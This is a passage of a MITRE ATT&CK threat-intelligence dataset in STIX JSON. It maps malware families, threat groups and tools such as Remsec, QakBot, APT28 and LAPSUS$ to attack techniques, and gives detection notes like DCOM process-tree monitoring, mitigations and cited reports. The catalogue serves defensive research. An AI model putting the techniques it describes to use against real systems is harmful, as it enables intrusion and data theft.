2017)","relationship_type":"uses","source_ref":"malware--59a97b15-8189-4d51-9404-e1ce8ea4a069","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec3f88b1-ba85-497f-91d0-3eb8dcc5c4f1","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint Leviathan Oct 2017","description":"Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"}],"modified":"2020-03-17T01:53:17.463Z","description":"[NanHaiShu](https://attack.mitre.org/software/S0228) can gather the victim computer name and serial number.(Citation: Proofpoint Leviathan Oct 2017)","relationship_type":"uses","source_ref":"malware--705f0783-5f7d-4491-b6b7-9628e6e006d2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec4231fc-c081-4060-80fb-05f390e5f24c","created":"2023-05-18T18:48:36.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-25T20:10:42.885Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) can gather information from compromised hosts.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec439835-0ccb-477e-8c58-1d8c4e8ed6ab","type":"relationship","created":"2020-03-17T02:28:21.891Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf","description":"Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.","source_name":"Symantec Remsec IOCs"},{"source_name":"Kaspersky ProjectSauron Full Report","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.","url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"},{"url":"https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf","description":"Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.","source_name":"Kaspersky ProjectSauron Technical Analysis"}],"modified":"2020-03-17T02:28:21.891Z","description":"[Remsec](https://attack.mitre.org/software/S0125) is capable of using DNS for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)","relationship_type":"uses","source_ref":"malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2020-03-30T18:41:41.342Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used RC4 encryption (for Datper malware) and AES (for xxmm malware) to obfuscate HTTP traffic. [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has also used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ec4dfd75-c48d-4976-859e-b8732f907fc2","created":"2022-03-30T14:26:51.859Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Detect Outlook Forms","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."},{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may leverage Microsoft Office-based applications for persistence between startups. Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","modified":"2022-04-20T00:40:42.422Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec4e6513-e156-4ed6-b298-e740000f8f4a","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Fireeye Hunting COM June 2019","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"},{"source_name":"Enigma MMC20 COM Jan 2017","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.","url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-11T20:21:40.949Z","description":"Monitor for newly executed processes associated with DCOM activity, especially those invoked by a user different than the one currently logged on. Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also precede malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nThe Microsoft Management Console (mmc.exe) can be by used by threat actors used to spawn arbitrary processes through DCOM. The typical process tree for this method looks like: svchost.exe —> mmc.exe —> .exe. \n\nAccordingly, look for process creation events of mmc.exe in conjunction with the -Embedding command-line argument, along with suspicious child processes that can be used for malicious purposes, such as cmd.exe, reg.exe, etc.\n\nSimilar to the Microsoft Management Console, Excel can also be used to execute processes through DCOM. In this case, the typical process tree looks like: svchost.exe —> excel.exe —> .exe. \n\nLook for process creation events of excel.exe in conjunction with the /automation -Embedding command-line argument, along with suspicious child processes that can be used for malicious purposes, such as cmd.exe, reg.exe, etc.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec5259f2-5a6c-4d42-bf21-f91c2df64f61","type":"relationship","created":"2020-06-25T18:24:00.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail1 dec 2018","url":"https://objective-see.com/blog/blog_0x3B.html","description":"Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:24:00.644Z","description":"[WindTail](https://attack.mitre.org/software/S0466) can instruct the OS to execute an application without a dock icon or menu.(Citation: objective-see windtail1 dec 2018)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec536758-9478-4bf9-9abd-69755d8382d2","type":"relationship","created":"2020-08-24T13:40:23.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T13:40:23.262Z","description":"[PipeMon](https://attack.mitre.org/software/S0501), its installer, and tools are signed with stolen code-signing certificates.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec55cdc1-8ca2-42c9-a1d9-9755d24bc294","created":"2020-03-30T21:01:05.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.651Z","description":"[RedLeaves](https://attack.mitre.org/software/S0153) can use HTTP over non-standard ports, such as 995, for C2.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec56fe4c-c61c-45e3-82fb-44edd43540fc","type":"relationship","created":"2020-02-10T20:03:11.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-31T13:11:10.125Z","description":"Use file system access controls to protect folders such as C:\\Windows\\System32.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec581cdf-0339-4f54-b88c-df4acfc25c12","created":"2024-09-19T14:35:20.530Z","revoked":false,"external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:35:20.530Z","description":"[Gazer](https://attack.mitre.org/software/S0168) creates a mutex using the hard-coded value `{531511FA-190D-5D85-8A4A-279F2F592CC7}` to ensure that only one instance of itself is running.(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec5caf8f-0fb8-4c3b-bd31-08804ff2214e","created":"2022-06-10T17:10:42.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T12:57:31.067Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has used compromised credentials to access cloud assets within a target organization.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec6017be-71ca-4ac3-a7de-26ab47f9c826","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec6074e4-4137-42a4-86c8-1ea95ce54df6","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.411Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) has been seen loaded into msiexec.exe through process hollowing to hide its execution.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec60f1d2-2bb3-459d-8095-5bda47927226","type":"relationship","created":"2020-11-09T16:36:23.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","source_name":"Cybereason Astaroth Feb 2019"}],"modified":"2020-12-08T20:57:58.405Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) has used a DGA in C2 communications.(Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec61cd5f-b6aa-4aee-acb2-2882b8914c68","type":"relationship","created":"2019-06-20T14:52:45.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2019-07-06T21:31:25.785Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has leveraged several Windows API calls to create processes, gather disk information, and detect debugger activity.(Citation: FireEye HAWKBALL Jun 2019)","relationship_type":"uses","source_ref":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec62edb4-a463-46f8-82de-1a893caceb5e","type":"relationship","created":"2021-09-30T12:53:34.277Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyberint Qakbot May 2021","url":"https://blog.cyberint.com/qakbot-banking-trojan","description":"Cyberint. (2021, May 25). Qakbot Banking Trojan. Retrieved September 27, 2021."}],"modified":"2021-09-30T12:53:34.277Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can encrypt and pack malicious payloads.(Citation: Cyberint Qakbot May 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ec66e3d3-b67a-44c8-96d1-4f6ddc8a08ab","created":"2022-03-30T14:26:51.874Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Nobelium Admin Privileges","url":"https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks","description":"Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved January 31, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Configuration management databases (CMDB) and other asset management systems may help with the detection of computer systems or network devices that should not exist on a network. Monitor logs for unexpected actions taken by any delegated administrator accounts.(Citation: Microsoft Nobelium Admin Privileges)","modified":"2022-05-27T18:10:01.520Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec6a8fde-702a-4e38-a37b-428a8ca10b18","type":"relationship","created":"2017-05-31T21:33:27.040Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2020-03-16T23:29:57.772Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has stored captured credential information in a file named pi.log.(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec6aa1aa-faed-451c-94c5-4dd724edfc05","created":"2024-09-16T08:36:45.028Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:36:45.028Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) can persist as a Windows Service in operations.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec6d7edc-f538-41ce-89b6-a2c424ddd58b","created":"2021-09-29T14:09:57.693Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/"},{"source_name":"KISA Operation Muzabi","description":"KISA. (2021). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 8, 2024.","url":"https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"},{"source_name":"Mandiant APT43 March 2024","description":"Mandiant. (2024, March 14). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved May 3, 2024.","url":"https://services.google.com/fh/files/misc/apt43-report-en.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:31:57.417Z","description":"(Citation: Netscout Stolen Pencil Dec 2018)(Citation: KISA Operation Muzabi)(Citation: Mandiant APT43 March 2024)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec6dc634-8214-4817-aabb-30ffb19ad4cc","type":"relationship","created":"2022-03-24T22:31:32.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.761Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can gather a list of logged on users.(Citation: GitHub SILENTTRINITY Modules July 2019) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec72af45-d362-41c1-99d1-7a225a823049","created":"2021-11-22T16:37:40.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.088Z","description":"[RCSession](https://attack.mitre.org/software/S0662) can write its configuration file to the Registry.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ec85433f-2635-4e7c-af49-6dbfb269dbbd","type":"relationship","created":"2019-06-13T19:12:07.298Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2019-06-28T20:48:52.676Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather system information such as computer names.(Citation: Morphisec ShellTea June 2019)\t","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ec8858d9-0379-4995-8873-76c8f2a2c07d","created":"2022-10-13T13:26:22.197Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T13:26:22.197Z","description":"For [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used a modified version of the open source [PcShare](https://attack.mitre.org/software/S1050) remote administration tool.(Citation: Bitdefender FunnyDream Campaign November 